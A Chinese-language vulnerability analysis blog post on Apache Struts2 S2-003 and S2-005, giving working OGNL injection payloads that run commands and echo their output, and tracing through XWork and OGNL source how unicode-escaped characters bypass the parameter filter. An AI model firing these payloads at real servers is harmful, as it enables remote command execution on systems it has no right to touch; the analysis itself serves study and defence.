内容简介:漏洞信息页面:漏洞成因官方概述:XWork ParameterInterceptors bypass allows OGNL statement executions2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2
S2-003
漏洞信息
漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-003
漏洞成因官方概述:XWork ParameterInterceptors bypass allows OGNL statement execution
漏洞影响:
环境搭建
s2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2
漏洞利用
POC:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
回显:
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
漏洞分析
在struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:177 获取到我们传入的参数
在 getValueStack
之前,执行了一些初始化操作,比如:
OgnlContextState.setDenyMethodExecution(contextMap, true);
将 xwork.MethodAccessor.denyMethodExecution
设置为 true
。为了能够调用方法,需要在poc中的第一部分将 denyMethodExecution
设置为 false
,之后才能任意代码执行。
跟入 setParameters(action, stack, parameters);
至 struts/struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:201。此部分开始通过迭代器取出一个个传入的参数,并进行处理。
假设此时我传入的参数如下,注意这个与poc的不同在于,我将第一个 \u0023
替换成了 #
。:
('#context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
跟入 acceptableName
至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:271
protected boolean acceptableName(String name) { if (isAccepted(name) && !isExcluded(name)) { return true; } return false; }
跟入 isAccepted(name)
这里通过简单的正则表达式 [\p{Graph}&&[^,#:=]]*
来检测,防止传入恶意特殊字符开头如 #
等。因此 acceptableName
返回false,接下来的ognl表达式自然也不会执行了。
if (acceptableName) { Object value = entry.getValue(); ... }
但如果传入经过编码后的payload。 #
对应的unicode为 \u0023
,八进制为 \43
,则可以绕过上述的检测,也即导致 acceptableName
为true,从而进一步执行。
在设置 denyMethodExecution
为false后,poc的第二部分就是通过方法调用来执行任意命令了:
('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
S2-005
漏洞信息
漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-005
漏洞成因官方概述:XWork ParameterInterceptors bypass allows remote command execution
漏洞影响:
漏洞分析
S2-005的出现时因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den
yMethodExecution)等来修补。但同样的直接使用上面的技巧,更改poc为:
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
即可设置 allowStaticMethodAccess
为true,和 denyMethodExecution
为false,从而导致任意命令执行。可以参考 Struts2漏洞分析与研究之S2-005漏洞分析 和 CVE-2010-1870: Struts2/XWork remote command execution 。其余的代码调用等,与S2-003相同,分析见上。
ognl的解析
一个问题,为什么 \u0023
形式的poc能够被解析呢?
跟入 setValue
至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java:170
跟入 OgnlUtil.setValue
,struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java:185
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException { Ognl.setValue(compile(name), context, root, value); }
此处name即我们传入的参数 (\u0023...
,跟入 compile
中的 o = Ognl.parseExpression(expression);
:
public static Object parseExpression( String expression ) throws OgnlException { try { OgnlParser parser = new OgnlParser( new StringReader(expression) ); return parser.topLevelExpression(); }
从 topLevelExpression
就开始了进行语法分析工作。在获得 (
的token为44后,接着进行 expression();
的解析。
在其中会调用到 ognl/JavaCharStream.java 的 readChar
。其中代码摘取部分如下:
public char readChar() throws java.io.IOException { ... char c; if ((buffer[bufpos] = c = ReadByte()) == '\\') { ... int backSlashCnt = 1; for (;;) // Read all the backslashes { try { if ((buffer[bufpos] = c = ReadByte()) != '\\') { UpdateLineColumn(c); // found a non-backslash char. if ((c == 'u') && ((backSlashCnt & 1) == 1)) { if (--bufpos < 0) bufpos = bufsize - 1; break; } backup(backSlashCnt); return '\\'; } } ... }
读取 \
,并在之后如果遇到了 u
则进一步处理:
从而把 \u0023
转换成了 #
。之后执行ognl表达式时即执行 "#context[\'xwork.MethodAccessor.denyMethodExecution\']=false"
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
菜鸟侦探挑战数据分析
[日] 石田基广 / 支鹏浩 / 人民邮电出版社 / 2017-1 / 42
本书以小说的形式展开,讲述了主人公俵太从大学文科专业毕业后进入征信所,从零开始学习数据分析的故事。书中以主人公就职的征信所所在的商业街为舞台,选取贴近生活的案例,将平均值、t检验、卡方检验、相关、回归分析、文本挖掘以及时间序列分析等数据分析的基础知识融入到了生动有趣的侦探故事中,讲解由浅入深、寓教于乐,没有深奥的理论和晦涩的术语,同时提供了大量实际数据,使用免费自由软件RStudio引领读者进一步......一起来看看 《菜鸟侦探挑战数据分析》 这本书的介绍吧!
在线进制转换器
各进制数互转换器
UNIX 时间戳转换
UNIX 时间戳转换